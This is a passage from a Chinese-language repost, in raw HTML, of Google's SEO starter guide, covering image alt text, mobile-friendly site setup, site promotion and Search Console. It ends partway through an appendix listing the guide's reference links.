属性的内容会提供关于图片的信息。<br/>另一个原因是,如果您将图片用作链接,则该图片的替代文字会等同于文字链接的定位文字。但是,如果文字链接可以起到相同的作用,我们建议不要在网站的导航中为链接使用太多图片。最后,优化图片文件名和替代文字可使图片搜索项目(如 Google 图片搜索)更好地理解您的图片。<br/>最佳做法<br/><b>使用简短但具有描述性的文件名和替代文字</b><br/>和网页上被视为优化对象的许多其他部分一样,简短但具有描述性的文件名和替代文字是最理想的。<br/><b>应避免的做法:</b><br/></p><ul><li>在可能的情况下使用“image1.jpg”、“pic.gif”、“1.jpg”等宽泛的文件名(如果您的网站有数千张图片,您可能希望将图片的命名工作自动化)。</li><li>文件名非常长。</li><li>替代文字中充斥着关键字,或复制粘贴整个句子来作为替代文字。</li></ul><p><b>使用图片作为链接时提供替代文字</b><br/>如果您决定使用图片作为链接,同时提供替代文字可帮助 Google 更深入地了解您链接到的网页。这就像您为文字链接撰写定位文字一样。<br/><b>应避免的做法:</b><br/></p><ul><li>撰写会被认为是垃圾内容的超长替代文字。</li><li>网站导航仅使用图片链接。</li></ul><p>帮助搜索引擎找到图片<br/><a href="https://link.zhihu.com/?target=https%3A//support.google.com/webmasters/answer/178636" class=" wrap external" target="_blank" rel="nofollow noreferrer">图片站点地图</a>41可为 Googlebot 提供更多与在您网站上找到的图片有关的信息。这样能够提高在图片搜索结果中看到您的图片的可能性。该文件的结构与您网页的 XML 站点地图文件类似。<br/>使用标准图片格式<br/>使用普遍支持的文件类型 – 大多数浏览器支持 JPEG、GIF、PNG、BMP 和 WebP 图片格式。另外,最好让文件扩展名与文件类型相匹配。<br/>构建适合移动设备的网站<br/>当今世界由移动设备主宰。绝大多数人都是在移动设备上使用 Google 进行搜索。桌面版网站在移动设备上可能不太容易浏览及使用。因此,拥有适合移动设备的网站是提升在线影响力的重要因素。事实上,从 2016 年年末起,<a href="https://link.zhihu.com/?target=https%3A//webmasters.googleblog.com/2016/11/mobile-first-indexing.html" class=" wrap external" target="_blank" rel="nofollow noreferrer">Google 已经开始尝试主要使用网站的移动版内容</a>42进行排名、解析结构化数据及生成摘要。<br/><b>了解设备之间的差异</b><br/></p><ul><li><b>智能手机</b>:在本文档中,“移动”或“移动设备”指智能手机,例如运行 Android 系统的手机、iPhone 或 Windows Phone。虽然移动设备的屏幕尺寸较小,且在几乎所有情况下,其默认屏幕方向为纵向,但移动浏览器与桌面浏览器类似,都可以呈现各种 HTML5 规格的网页。</li><li><b>平板电脑</b>:我们将平板电脑视为一个单独的设备类别,因此在提及移动设备时,通常不包括平板电脑。相对而言,平板电脑的屏幕要大一些。这意味着,除非您提供针对平板电脑进行了优化的内容,否则用户通过平板电脑浏览网站时,还是希望看到桌面浏览器的显示方式,而非智能手机浏览器的显示方式。</li><li><b>多媒体手机</b>:这类手机采用的浏览器可呈现符合 XHTML 编码标准的网页;支持 HTML5 标记、JavaScript/ECMAscript,但可能不支持某些采用 HTML5 标准的扩展程序 API。这通常指的是大多数带有 3G 功能的手机(非智能手机)中的浏览器。</li><li><b>功能手机</b>:这类手机采用的浏览器无法呈现使用标准 HTML 进行编码的标准桌面版网页,其中包括仅呈现使用 cHTML (iMode)、WML、XHTML-MPF 等语言进行编码的网页的浏览器。</li></ul><p>我们的建议主要针对智能手机,但我们鼓励多媒体版和功能手机版网站的所有者在认为合适时也遵循这些建议。<br/>选择移动策略<br/>有多种方法可以让您的网站适合移动设备,并且 Google 也支持不同的实现方法:<br/></p><ul><li><a href="https://link.zhihu.com/?target=https%3A//developers.google.com/search/mobile-sites/mobile-seo/responsive-design" class=" wrap external" target="_blank" rel="nofollow noreferrer">自适应设计</a>43(推荐)</li><li><a href="https://link.zhihu.com/?target=https%3A//developers.google.com/search/mobile-sites/mobile-seo/dynamic-serving" class=" wrap external" target="_blank" rel="nofollow noreferrer">动态提供内容</a>44</li><li><a href="https://link.zhihu.com/?target=https%3A//developers.google.com/search/mobile-sites/mobile-seo/separate-urls" class=" wrap external" target="_blank" rel="nofollow noreferrer">单独的网址</a>45</li></ul><p>创建完适合移动设备的网站后,您可以通过 <a href="https://link.zhihu.com/?target=https%3A//search.google.com/test/mobile-friendly" class=" wrap external" target="_blank" rel="nofollow noreferrer">Google 的移动设备适合性测试</a>46检验您网站上的网页是否满足在 Google 搜索结果页面上被标记为“适合移动设备”的条件。您还可以查看 <a href="https://link.zhihu.com/?target=https%3A//www.google.com/webmasters/tools/mobile-usability" class=" wrap external" target="_blank" rel="nofollow noreferrer">Search Console 的“在移动设备上的易用性”报告</a>47,以修正会对您网站在移动设备上的易用性造成影响的问题。<br/>如果您的网站在多个网页上提供大量静态内容(如博文或商品着陆页),请考虑使用 <a href="https://link.zhihu.com/?target=https%3A//www.ampproject.org/" class=" wrap external" target="_blank" rel="nofollow noreferrer">AMP</a>48 (Accelerated Mobile Pages) 实现静态内容。AMP 是一种特殊的 HTML,可确保您的网站保持较快速度并方便用户使用,并可以通过各种平台(包括 Google 搜索)进一步加速。<br/>配置移动网站,以便网站被准确编入索引<br/>无论您选择哪种配置来设置您的移动网站,都需要注意以下几点:<br/></p><ol><li>如果您使用动态提供内容或拥有单独的移动网站,当网页采用适合移动设备的格式时(或当网页拥有所用格式适合移动设备的对等网页时),请告知 Google。这有助于 Google 在搜索结果中准确地向移动设备搜索用户提供内容。</li><li>如果您使用自适应设计,请使用 meta name=”viewport” 标记告诉浏览器如何调整内容。如果您使用动态提供内容,请使用 Vary HTTP 标头,根据用户代理来指示您所做的更改。如果您使用单独的网址,请使用具有 rel =“canonical” 和 rel =“alternate” 元素的 <link> 标记来表示两个网址之间的关系。</li><li>确保资源可供抓取。屏蔽网页资源会致使 Google 无法了解您网站的全貌。当您的 robots.txt 文件阻止对某些或所有网页资源进行访问时,通常会发生这种情况。如果 Googlebot 无法访问某个网页的资源(如 CSS、JavaScript 或图片),那么我们可能无法检测出该网页是专门为了在移动设备浏览器中正常显示和运行而构建的。也就是说,我们可能无法检测出这是“适合移动设备”的网页,因而无法以适当的方式向移动设备搜索用户提供该网页。</li><li>避免出现会阻碍移动设备访问者访问网页的常见错误,比如存在无法播放的视频(在将 Flash 视频作为网页的重要内容时就会出现这种情况)。</li><li>如果移动版网页无法提供令人满意的搜索体验,那么在移动搜索结果中的排名便会下降,或是在移动搜索结果中显示时伴有警告。这类情况包括但不限于,移动设备上会妨碍用户体验的<a href="https://link.zhihu.com/?target=https%3A//webmasters.googleblog.com/2016/08/helping-users-easily-access-content-on.html" class=" wrap external" target="_blank" rel="nofollow noreferrer">全页插页式广告</a>49。</li><li>在所有设备上提供所有功能。移动用户希望网站在移动设备上提供和在其他设备上一样的功能(如发布评论和查看)及内容。除了文字内容,确保所有重要图片和视频都已经嵌入移动版本并且用户能通过移动设备访问。对于搜索引擎,在所有版本的网页上提供所有结构化数据和其他元数据(例如标题、说明、link 元素和其他元标记)。</li><li>确保移动网站上也包含桌面版网站上所有的结构化数据、图片、视频和元数据。</li></ol><p><br/>最佳做法<br/></p><ul><li>使用<a href="https://link.zhihu.com/?target=https%3A//search.google.com/test/mobile-friendly" class=" wrap external" target="_blank" rel="nofollow noreferrer">移动设备适合性测试</a>50测试您的移动版网页,看看 Google 是否认为您的网站适合在移动设备上浏览。</li><li>如果您的移动版网页有单独的网址,请务必对移动版网址和桌面版网址都进行测试,以确保 Google 可以识别并抓取相关重定向。</li></ul><p><a href="https://link.zhihu.com/?target=https%3A//developers.google.com/search/mobile-sites/" class=" wrap external" target="_blank" rel="nofollow noreferrer">有关详情,请参阅 Google 的移动设备适合性指南</a>51。<br/>推广您的网站<br/>随着人们通过搜索或其他方式发现您的内容并链接到您的网站,大多数连接至您网站的链接都逐渐添加至您的网站,Google 理解您希望其他人能够了解您为自己网站上的内容所付出的努力。有效推广新内容能够让对同一主题感兴趣的人更快发现您的内容。与本文中提及的大部分建议一样,极端地采取这些建议实际上可能会损害您网站的声誉。<br/>在网站上写一篇博文来告诉访问者群体您已经添加了新内容,是宣传新内容或服务的不错方法。关注您网站或 RSS Feed 的其他网站站长也可能会帮您继续宣传下去。<br/>倾注精力线下推广您的公司或网站也非常有帮助。例如,如果您拥有企业网站,请确保将网址印在您的名片、信头、海报上等。您还可以通过电子邮件向客户定期发送简讯,让他们了解公司网站上的新内容。<br/>如果您经营着一家本地商家,将商家信息添加到 <a href="https://link.zhihu.com/?target=https%3A//www.google.com/business/" class=" wrap external" target="_blank" rel="nofollow noreferrer">Google 我的商家</a>52将有助于您在 Google 地图和网页搜索上吸引客户。<br/></p><figure data-size="normal"><img src="https://pic2.zhimg.com/v2-8555d264b707d7b8e3577ad29b0870b5_b.jpg" data-caption="" data-size="normal" data-rawwidth="400" data-rawheight="613" class="content_image" width="400"/></figure><p>最佳做法<br/><b>了解社交媒体网站</b><br/>围绕用户互动和共享构建的网站让感兴趣人群更容易找到相关内容。<br/><b>应避免的做法:</b><br/></p><ul><li>试图推广所创建的每一个小的新内容;应该推广精彩、有趣的内容。</li><li><a href="https://link.zhihu.com/?target=https%3A//support.google.com/webmasters/answer/66356" class=" wrap external" target="_blank" rel="nofollow noreferrer">对网站采用链接方案</a>53,在这些服务中人为地置顶您的内容。</li></ul><p><b>吸引和您网站相关的社区中的用户</b><br/>很多网站上的主题很有可能与您网站上的主题相似。与这些网站建立通信通常对您有利。您的生态环境或社区中的热门话题能够激发新的内容想法或建立良好社区资源。<br/><b>应避免的做法:</b><br/></p><ul><li>将链接请求不加挑选地发给与您的主题相关的所有网站。</li><li>从另一个网站购买链接,以提升 PageRank。</li></ul><p>分析搜索效果和用户行为<br/>分析搜索效果<br/>包括 Google 在内的主要搜索引擎会为网站站长提供免费工具来分析其在搜索引擎中的效果。Google 的工具是 <a href="https://link.zhihu.com/?target=https%3A//www.google.com/webmasters/tools/home" class=" wrap external" target="_blank" rel="nofollow noreferrer">Search Console</a>54。<br/>Search Console 可提供以下两类重要信息:Google 能够找到我的内容吗?我的网站在 Google 搜索结果中的效果如何?<br/>使用 Search Console 并不会让您的网站获得优先待遇,但它可以帮助您发现问题,如果解决了这些问题,则有助于您的网站在搜索结果中提高排名。<br/>通过这项服务,网站站长可以:<br/></p><ul><li>了解 Googlebot 无法抓取网站的哪个部分</li><li>测试及提交站点地图</li><li>分析或生成 robots.txt 文件</li><li>移除 Googlebot 已经抓取的网址</li><li>指定首选网域</li><li>使用标题和描述元标记发现问题</li><li>了解用来转向网站的热门搜索</li><li>了解 Googlebot 看到的网页外观如何</li><li>接收质量指南违反通知,并请求重新审核网站</li></ul><p>微软的 <a href="https://link.zhihu.com/?target=https%3A//www.bing.com/toolbox/webmaster" class=" wrap external" target="_blank" rel="nofollow noreferrer">Bing 网站站长工具</a>55也为网站站长提供免费工具。<br/>分析网站上的用户行为<br/>如果您已经使用 Google Search Console 或其他服务改进了网站的抓取和索引编制效果,那么您可能对转向自己网站的流量感到好奇。诸如 Google Analytics(分析)之类的网站分析程序是了解这一点的实用来源。您可以使用这些网站分析程序:<br/></p><ul><li>洞悉用户如何找到您的网站以及在您的网站上有何行为</li><li>发现您网站上最受欢迎的内容</li><li>衡量对网站所做的优化带来的影响,例如,更改标题和描述元标记是否提高了搜索引擎带来的流量?</li></ul><p>对于高级用户,分析包提供的信息与您的服务器日志文件的数据相结合,可以提供更加全面的关于访问者如何与文档互动的信息(例如,搜索者可能用来查找您网站的其他关键字)。<br/>其他资源<br/><a href="https://link.zhihu.com/?target=https%3A//support.google.com/webmasters/go/blog" class=" wrap external" target="_blank" rel="nofollow noreferrer">网站站长中心博客</a>56<br/>网站站长中心博客中有最新资讯,您可以找到关于 Google 搜索更新、Search Console 新功能及其他众多内容的信息。<br/><a href="https://link.zhihu.com/?target=https%3A//support.google.com/webmasters/community" class=" wrap external" target="_blank" rel="nofollow noreferrer">网站站长帮助论坛</a>57<br/>在网站站长的产品论坛中,您可以就自己的网站存在的问题发帖咨询,还能查找有关创建品质出众的网站的提示。论坛中有许多经验丰富的贡献者,包括<a href="https://link.zhihu.com/?target=http%3A//www.google.com/get/topcontributor/" class=" wrap external" target="_blank" rel="nofollow noreferrer">杰出贡献者</a>58,偶尔还会有 Google 员工。<br/><a href="https://link.zhihu.com/?target=http%3A//twitter.com/googlewmc" class=" wrap external" target="_blank" rel="nofollow noreferrer">Google 网站站长 Twitter 帐号</a>59<br/>请关注我们,获取各种新闻和资源,以便帮助您构建精彩网站。<br/><a href="https://link.zhihu.com/?target=http%3A//www.youtube.com/GoogleWebmasterHelp" class=" wrap external" target="_blank" rel="nofollow noreferrer">YouTube“Google Webmasters”频道</a>60<br/>观看我们为网站站长社群录制的数百个实用视频,让 Google 员工为您答疑解惑。<a href="https://link.zhihu.com/?target=http%3A//www.google.com/insidesearch/howsearchworks/thestory/index.html" class=" wrap external" target="_blank" rel="nofollow noreferrer">Google 搜索的工作原理</a>61<br/>查看当您通过 Google 搜索进行搜索时后台发生的活动。您将了解到一些非常精彩的趣事!<br/><a href="https://link.zhihu.com/?target=http%3A//www.gybo.com/" class=" wrap external" target="_blank" rel="nofollow noreferrer">在线开展业务</a>62<br/>如果您在美国有家小型企业,可以免费注册一个网站。GYBO 是 Google 和 Homestead 合作运营的网站,旨在帮助小型企业注册网站并且让他们免费使用一年。<br/>附录:本文中使用的链接网址<br/>本文引用了以下网址:<br/></p><ol><li><a href="https://link.zhihu.com/?target=https%3A//g.co/WebmasterHelpForum" class=" external" target="_blank" rel="nofollow noreferrer"><span class="invisible">https://</span><span class="visible">g.co/WebmasterHelpForum</span><span class="invisible"></span></a></li><li><a href="https://link.zhihu.com/?target=https%3A//www.google.com/search%3Fq%3Dsite%3Awikipedia.org" class=" external" target="_blank" rel="nofollow noreferrer"><span class="invisible">https://www.</span><span class="visible">google.com/search?</span><span class="invisible">q=site:wikipedia.org</span><span class="ellipsis"></span></a></li><li><a href="https://link.zhihu.com/?target=https%3A//support.google.comwebmasters/answer/70897" class=" external" target="_blank" rel="nofollow noreferrer"><span class="invisible">https://</span><span class="visible">support.google.comwebmasters</span><span class="invisible">/answer/70897</span><span class="ellipsis"></span></a></li><li><a href="https://link.zhihu.com/?target=https%3A//support.google.com/webmasters/answer/35769" class=" external" target="_blank" rel="nofollow noreferrer"><span class="invisible">https://</span><span class="visible">support.google.com/webm</span><span class="invisible">asters/answer/35769</span><span class="ellipsis"></span></a></li><li><a href="https://link.zhihu.com/?target=https%3A//search.google.com/search-console" class=" external" target="_blank" rel="nofollow noreferrer"><span class="invisible">https://</span><span class="visible">search.google.com/searc</span><span class="invisible">h-console</span><span class="ellipsis"></span></a></li><li><a href="https://link.zhihu.com/?target=http%3A//g.co/webmasters" class=" external" target="_blank" rel="nofollow noreferrer"><span class="invisible">http://</span><span class="visible">g.co/webmasters</span><span class="invisible"></span></a></li><li><a href="https://link.zhihu.com/?target=http%3A//g.co/WebmasterChecklist" class=" external" target="_blank" rel="nofollow noreferrer"><span class="invisible">http://</span><span class="visible">g.co/WebmasterChecklist</span><span class="invisible"></span></a></li><li><a href="https://link.zhihu.com/?target=https%3A//support.google.com/webmasters/answer/70897" class=" external" target="_blank" rel="nofollow noreferrer"><span class="invisible">https://</span><span class="visible">support.google.com/webm</span><span class="invisible">asters/answer/70897</span><span class="ellipsis"></span></a></li><li><a href="https://link.zhihu.com/?target=https%3A//support.google.com/webmasters/answer/35769" class=" external" target="_blank" rel="nofollow noreferrer"><span class="invisible">https://</span><span class="visible">support.google.com/webm</span><span class="invisible">asters/answer/35769</span><span class="ellipsis"></span></a></li><li><a href="https://link.zhihu.com/?target=https%3A//www.youtube.com/watch%3Fv%3DpiSvFxV_M04" class=" external" target="_blank" rel="nofollow noreferrer"><span class="invisible">https://www.</span><span class="visible">youtube.com/watch?</span><span class="invisible">v=piSvFxV_M04</span><span class="ellipsis"></span></a></li><li><a href="https://link.zhihu.com/?target=https%3A//support.google.com/webmasters/answer/35291" class=" external" target="_blank" rel="nofollow noreferrer"><span class="invisible">https://</span><span class="visible">support.google.com/webm</span><span class="invisible">asters/answer/35291</span><span class="ellipsis"></span></a></li><li><a href="https://link.zhihu.com/?target=https%3A//support.google.com/webmasters/answer/156184" class=" external" target="_blank" rel="nofollow noreferrer"><span class="invisible">https://</span><span class="visible">support.google.com/webm</span><span class="invisible">asters/answer/156184</span><span class="ellipsis"></span></a></li><li><a href="https://link.zhihu.com/?target=https%3A//support.google.com/webmasters/answer/6062608" class=" external" target="_blank" rel="nofollow noreferrer"><span class="invisible">https://</span><span class="visible">support.google.com/webm</span><span class="invisible">asters/answer/6062608</span><span class="ellipsis"></span></a></li><li><a href="https://link.zhihu.com/?target=https%3A//support.google.com/webmasters/topic/4598466" class=" external" target="_blank" rel="nofollow noreferrer"><span class="invisible">https://</span><span class="visible">support.google.com/webm</span><span class="invisible">asters/topic/4598466</span><span class="ellipsis"></span></a></li><li><a href="https://link.zhihu.com/?target=https%3A//webmasters.googleblog.com/2014/05/understanding-web-pages-better.html" class=" external" target="_blank" rel="nofollow noreferrer"><span class="invisible">https://</span><span class="visible">webmasters.googleblog.com</span><span class="invisible">/2014/05/understanding-web-pages-better.html</span><span class="ellipsis"></span></a></li><li><a href="https://link.zhihu.com/?target=https%3A//support.google.com/webmasters/answer/9012289" class=" external" target="_blank" rel="nofollow noreferrer"><span class="invisible">https://</span><span class="visible">support.google.com/webm</span><span class="invisible">asters/answer/9012289</span><span class="ellipsis"></span></a></li><li><a href="https://link.zhihu.com/?target=https%3A//www.youtube.com/watch%3Fv%3DMOfhHPp5sWs" class=" external" target="_blank" rel="nofollow noreferrer"><span class="invisible">https://www.</span><span class="visible">youtube.com/watch?</span><span class="invisible">v=MOfhHPp5sWs</span><span class="ellipsis"></span></a></li><li><a href="https://link.zhihu.com/?target=http%3A//googlewebmastercentral.blogspot.com/2007/09/improve-snippets-with-meta-description.html" class=" external" target="_blank" rel="nofollow noreferrer"><span class="invisible">http://</span><span class="visible">googlewebmastercentral.blogspot.com</span><span class="invisible">/2007/09/improve-snippets-with-meta-description.html</span><span class="ellipsis"></span></a></li><li><a href="https://link.zhihu.com/?target=https%3A//webmasters.googleblog.com/2017/06/better-snippets-for-your-users.html" class=" external" target="_blank" rel="nofollow noreferrer"><span class="invisible">https://</span><span class="visible">webmasters.googleblog.com</span><span class="invisible">/2017/06/better-snippets-for-your-users.html</span><span class="ellipsis"></span></a></li><li><a href="https://link.zhihu.com/?target=https%3A//support.google.com/webmasters/answer/35624" class=" external" target="_blank" rel="nofollow noreferrer"><span class="invisible">https://</span><span class="visible">support.google.com/webm</span><span class="invisible">asters/answer/35624</span><span class="ellipsis"></span></a></li><li><a href="https://link.zhihu.com/?target=https%3A//developers.google.com/search/docs/guides/intro-structured-data" class=" external" target="_blank" rel="nofollow noreferrer"><span class="invisible">https://</span><span class="visible">developers.google.com/s</span><span class="invisible">earch/docs/guides/intro-structured-data</span><span class="ellipsis"></span></a></li><li><a href="https://link.zhihu.com/?target=https%3A//developers.google.com/search/docs/guides/search-gallery" class=" external" target="_blank" rel="nofollow noreferrer"><span class="invisible">https://</span><span class="visible">developers.google.com/s</span><span class="invisible">earch/docs/guides/search-gallery</span><span class="ellipsis"></span></a></li><li><a href="https://link.zhihu.com/?target=https%3A//www.google.com/webmasters/tools/data-highlighter" class=" external" target="_blank" rel="nofollow noreferrer"><span class="invisible">https://www.</span><span class="visible">google.com/webmasters/t</span><span class="invisible">ools/data-highlighter</span><span class="ellipsis"></span></a></li><li><a href="https://link.zhihu.com/?target=https%3A//www.google.com/webmasters/markup-helper/" class=" external" target="_blank" rel="nofollow noreferrer"><span class="invisible">https://www.</span><span class="visible">google.com/webmasters/m</span><span class="invisible">arkup-helper/</span><span class="ellipsis"></span></a></li><li><a href="https://link.zhihu.com/?target=https%3A//search.google.com/test/rich-results" class=" external" target="_blank" rel="nofollow noreferrer"><span class="invisible">https://</span><span class="visible">search.google.com/test/</span><span class="invisible">rich-results</span><span class="ellipsis"></span></a></li><li><a href="https://link.zhihu.com/?target=https%3A//support.google.com/webmasters/answer/7552505" class=" external" target="_blank" rel="nofollow noreferrer"><span class="invisible">https://</span><span class="visible">support.google.com/webm</span><span class="invisible">asters/answer/7552505</span><span class="ellipsis"></span></a></li><li><a href="https://link.zhihu.com/?target=https%3A//developers.google.com/search/docs/guides/search-gallery" class=" external" target="_blank" rel="nofollow noreferrer"><span class="invisible">https://</span><span class="visible">developers.google.com/s</span><span class="invisible">earch/docs/guides/search-gallery</span><span class="ellipsis"></span></a></li><li><a href="https://link.zhihu.com/?target=https%3A//developers.google.com/search/docs/data-types/breadcrumbs" class=" external" target="_blank" rel="nofollow noreferrer"><span class="invisible">https://</span><span class="visible">developers.google.com/s</span><span class="invisible">earch/docs/data-types/breadcrumbs</span><span class="ellipsis"></span></a></li><li><a href="https://link.zhihu.com/?target=https%3A//support.google.com/webmasters/answer/72746" class=" external" target="_blank" rel="nofollow noreferrer"><span class="invisible">https://</span><span class="visible">support.google.com/webm</span><span class="invisible">asters/answer/72746</span><span class="ellipsis"></span></a></li><li><a href="https://link.zhihu.com/?target=https%3A//support.google.com/webmasters/answer/93641" class=" external" target="_blank" rel="nofollow noreferrer"><span class="invisible">https://</span><span class="visible">support.google.com/webm</span><span class="invisible">asters/answer/93641</span><span class="ellipsis"></span></a></li><li><a href="https://link.zhihu.com/?target=http%3A//googlewebmastercentral.blogspot.com/2008/10/webmaster-tools-shows-crawl-error.html" class=" external" target="_blank" rel="nofollow noreferrer"><span class="invisible">http://</span><span class="visible">googlewebmastercentral.blogspot.com</span><span class="invisible">/2008/10/webmaster-tools-shows-crawl-error.html</span><span class="ellipsis"></span></a></li><li><a href="https://link.zhihu.com/?target=http%3A//support.google.com/webmasters/answer/93633" class=" external" target="_blank" rel="nofollow noreferrer"><span class="invisible">http://</span><span class="visible">support.google.com/webm</span><span class="invisible">asters/answer/93633</span><span class="ellipsis"></span></a></li><li><a href="https://link.zhihu.com/?target=https%3A//support.google.com/webmasters/answer/139066" class=" external" target="_blank" rel="nofollow noreferrer"><span class="invisible">https://</span><span class="visible">support.google.com/webm</span><span class="invisible">asters/answer/139066</span><span class="ellipsis"></span></a></li><li><a href="https://link.zhihu.com/?target=https%3A//ads.google.com/home/tools/keyword-planner/" class=" external" target="_blank" rel="nofollow noreferrer"><span class="invisible">https://</span><span class="visible">ads.google.com/home/too</span><span class="invisible">ls/keyword-planner/</span><span class="ellipsis"></span></a></li><li><a href="https://link.zhihu.com/?target=https%3A//support.google.com/webmasters/answer/7576553" class=" external" target="_blank" rel="nofollow noreferrer"><span class="invisible">https://</span><span class="visible">support.google.com/webm</span><span class="invisible">asters/answer/7576553</span><span class="ellipsis"></span></a></li><li><a href="https://link.zhihu.com/?target=https%3A//support.google.com/webmasters/answer/66359" class=" external" target="_blank" rel="nofollow noreferrer"><span class="invisible">https://</span><span class="visible">support.google.com/webm</span><span class="invisible">asters/answer/66359</span><span class="ellipsis"></span></a></li><li><a href="https://link.zhihu.com/?target=https%3A//support.google.com/webmasters/answer/66353" class=" external" target="_blank" rel="nofollow noreferrer"><span class="invisible">https://</span><span class="visible">support.google.com/webm</span><span class="invisible">asters/answer/66353</span><span class="ellipsis"></span></a></li><li><a href="https://link.zhihu.com/?target=https%3A//www.thinkwithgoogle.com/marketing-resources/better-ad-standards/" class=" external" target="_blank" rel="nofollow noreferrer"><span class="invisible">https://www.</span><span class="visible">thinkwithgoogle.com/mar</span><span class="invisible">keting-resources/better-ad-standards/</span><span class="ellipsis"></span></a></li><li><a href="https://link.zhihu.com/?target=https%3A//webmasters.googleblog.com/2007/03/using-robots-meta-tag.html" class=" external" target="_blank" rel="nofollow noreferrer"><span class="invisible">https://</span><span class="visible">webmasters.googleblog.com</span><span class="invisible">/2007/03/using-robots-meta-tag.html</span><span class="ellipsis"></span></a></li><li><a href="https://link.zhihu.com/?target=https%3A//support.google.com/webmasters/answer/81749" class=" external" target="_blank" rel="nofollow noreferrer"><span class="invisible">https://</span><span class="visible">support.google.com/webm</span><span class="invisible">asters/answer/81749</span><span class="ellipsis"></span></a></li><li><a href="https://link.zhihu.com/?target=https%3A//support.google.com/webmasters/answer/178636" class=" external" target="_blank" rel="nofollow noreferrer"><span class="invisible">https://</span><span class="visible">support.google.com/webm</span><span class="invisible">asters/answer/178636</span><span class="ellipsis"></span></a></li><li><a href="https://link.zhihu.com/?target=https%3A//webmasters.googleblog.com/2016/11/mobile-first-indexing.html" class=" external" target="_blank" rel="nofollow noreferrer"><span class="invisible">https://</span><span class="visible">webmasters.googleblog.com</span><span class="invisible">/2016/11/mobile-first-indexing.html</span><span class="ellipsis"></span></a></li><li><a href="https://link.zhihu.com/?target=https%3A//developers.google.com/search/mobile-sites/mobile-seo/responsive-design" class=" external" target="_blank" rel="nofollow noreferrer"><span class="invisible">https://</span><span class="visible">developers.google.com/s</span><span class="invisible">earch/mobile-sites/mobile-seo/responsive-design</span><span class="ellipsis"></span></a></li><li><a href="https://link.zhihu.com/?target=https%3A//developers.google.com/search/mobile-sites/mobile-seo/dynamic-serving" class=" external" target="_blank" rel="nofollow noreferrer"><span class="invisible">https://</span><span class="visible">developers.google.com/s</span><span class="invisible">earch/mobile-sites/mobile-seo/dynamic-serving</span><span class="ellipsis"></span></a></li><li><a href="https://link.zhihu.com/?target=https%3A//developers.google.com/search/mobile-sites/mobile-seo/separate-urls" class=" external" target="_blank" rel="nofollow noreferrer"><span class="invisible">https://</span><span class="visible">developers.google.com/s</span><span class="invisible">earch/mobile-sites/mobile-seo/separate-urls</span><span class="ellipsis"></span></a></li><li><a href="https://link.zhihu.com/?target=https%3A//search.google.com/test/mobile-friendly" class=" external" target="_blank" rel="nofollow noreferrer"><span class="invisible">https://</span><span class="visible">search.google.com/test/</span><span class="invisible">mobile-friendly</span><span class="ellipsis"></span></a></li><li><a href="https://link.zhihu.com/?target=https%3A//www.google.com/webmasters/tools/mobile-usability" class=" external" target="_blank" rel="nofollow noreferrer"><span class="invisible">https://www.</span><span class="visible">google.com/webmasters/t</span><span class="invisible">ools/mobile-usability</span><span class="ellipsis"></span></a></li><li><a href="https://link.zhihu.com/?target=https%3A//www.ampproject.org/" class=" external" target="_blank" rel="nofollow noreferrer"><span class="invisible">https://www.</span><span class="visible">ampproject.org/</span><span class="invisible"></span></a></li><li><a href="https://link.zhihu.com/?target=https%3A//webmasters.googleblog.com/2016/08/helping-users-easily-access-content-on.html" class=" external" target="_blank" rel="nofollow noreferrer"><span class="invisible">https://</span><span class="visible">webmasters.googleblog.com</span><span class="invisible">/2016/08/helping-users-easily-access-content-on.html</span><span class="ellipsis"></span></a></li><li><a href="https://link.zhihu.com/?target=https%3A//search.google.com/test/mobile-friendly" class=" external" target="_blank" rel="nofollow noreferrer"><span class="invisible">https://</span><span class="visible">search.google.com/test/</span><span class="invisible">mobile-friendly</span><span class="ellipsis"></span></a></li><li><a href="https://link.zhihu.com/?target=https%3A//developers.google.com/search/mobile-sites/" class=" external" target="_blank" rel="nofollow noreferrer"><span class="invisible">https://</span><span class="visible">developers.google.com/s</span><span class="invisible">earch/mobile-sites/</span><span class="ellipsis"></span></a></li><li><a href="https://link.zhihu.com/?target=https%3A//www.google.com/business/" class=" external" target="_blank" rel="nofollow noreferrer"><span class="invisible">https://www.</span><span class="visible">google.com/business/</span><span class="invisible"></span></a></li><li><a href="https://link.zhihu.com/?target=https%3A//support.google.com/webmasters/answer/66356" class=" external" target="_blank" rel="nofollow noreferrer"><span class="invisible">https://</span><span class="visible">support.google.com/webm</span><span class="invisible">asters/answer/66356</span><span class="ellipsis"></span></a></li><li><a href="https://link.zhihu.com/?target=https%3A//www.google.com/webmasters/tools/home" class=" external" target="_blank" rel="nofollow noreferrer"><span class="invisible">https://www.</span><span class="visible">google.com/webmasters/t</span><span class="invisible">ools/home</span><span class="ellipsis"></span></a></li><li><a href="https://link.zhihu.com/?target=https%3A//www.bing.com/toolbox/webmaster" class=" external" target="_blank" rel="nofollow noreferrer"><span class="invisible">https://www.</span><span class="visible">bing.com/toolbox/webmas</span><span class="invisible">ter</span><span class="ellipsis"></span></a></li><li><a href="https://link.zhihu.com/?target=https%3A//support.google.com/webmasters/go/blog" class=" external" target="_blank" rel="nofollow noreferrer"><span class="invisible">https://</span><span class="visible">support.google.com/webm</span><span class="invisible">asters/go/blog</span><span class="ellipsis"></span></a></li><li><a href="https://link.zhihu.com/?target=https%3A//g.co/WebmasterHelpForum" class=" external" target="_blank" rel="nofollow noreferrer"><span class="invisible">https://</span><span class="visible">g.co/WebmasterHelpForum</span><span class="invisible"></span></a></li><li><a href="https://link.zhihu.com/?target=http%3A//www.google.com/get/topcontributor/" class=" external" target="_blank" rel="nofollow noreferrer"><span class="invisible">http://www.</span><span class="visible">google.com/get/topcontr</span><span class="invisible">ibutor/</span><span class="ellipsis"></span></a></li><li><a href="https://link.zhihu.com/?target=http%3A//twitter.com/googlewmc" class=" external" target="_blank" rel="nofollow noreferrer"><span class="invisible">http://</span><span class="visible">twitter.com/googlewmc</span><span class="invisible"></span></a></li><li><a href="https://link.zhihu.com/?target=http%3A//www.youtube.com/GoogleWebmasterHelp" class=" external" target="_blank" rel="nofollow noreferrer"><span class="invisible">http://www.</span><span class="visible">youtube.com/GoogleWebma</span><span class="invisible">sterHelp</span><span class="ellipsis"></span></a></li><li><a href="https://link.zhihu.com/?target=http%3A//www.google.com/insidesearch/howsearchworks/thestory/index.html" class=" external" target="_blank" rel="nofollow noreferrer"><span class="invisible">http://www.</span><span class="visible">google.com/insidesearch</span><span class="invisible">/howsearchworks/thestory/index.html</span><span class="ellipsis"></span></a></li><li><a href="https://link.zhihu.com/?target=http%3A//www.gybo.com/" class=" external" target="_blank" rel="nofollow noreferrer"><span class="invisible">http://www.</span><span class="visible">gybo.com/</span><span 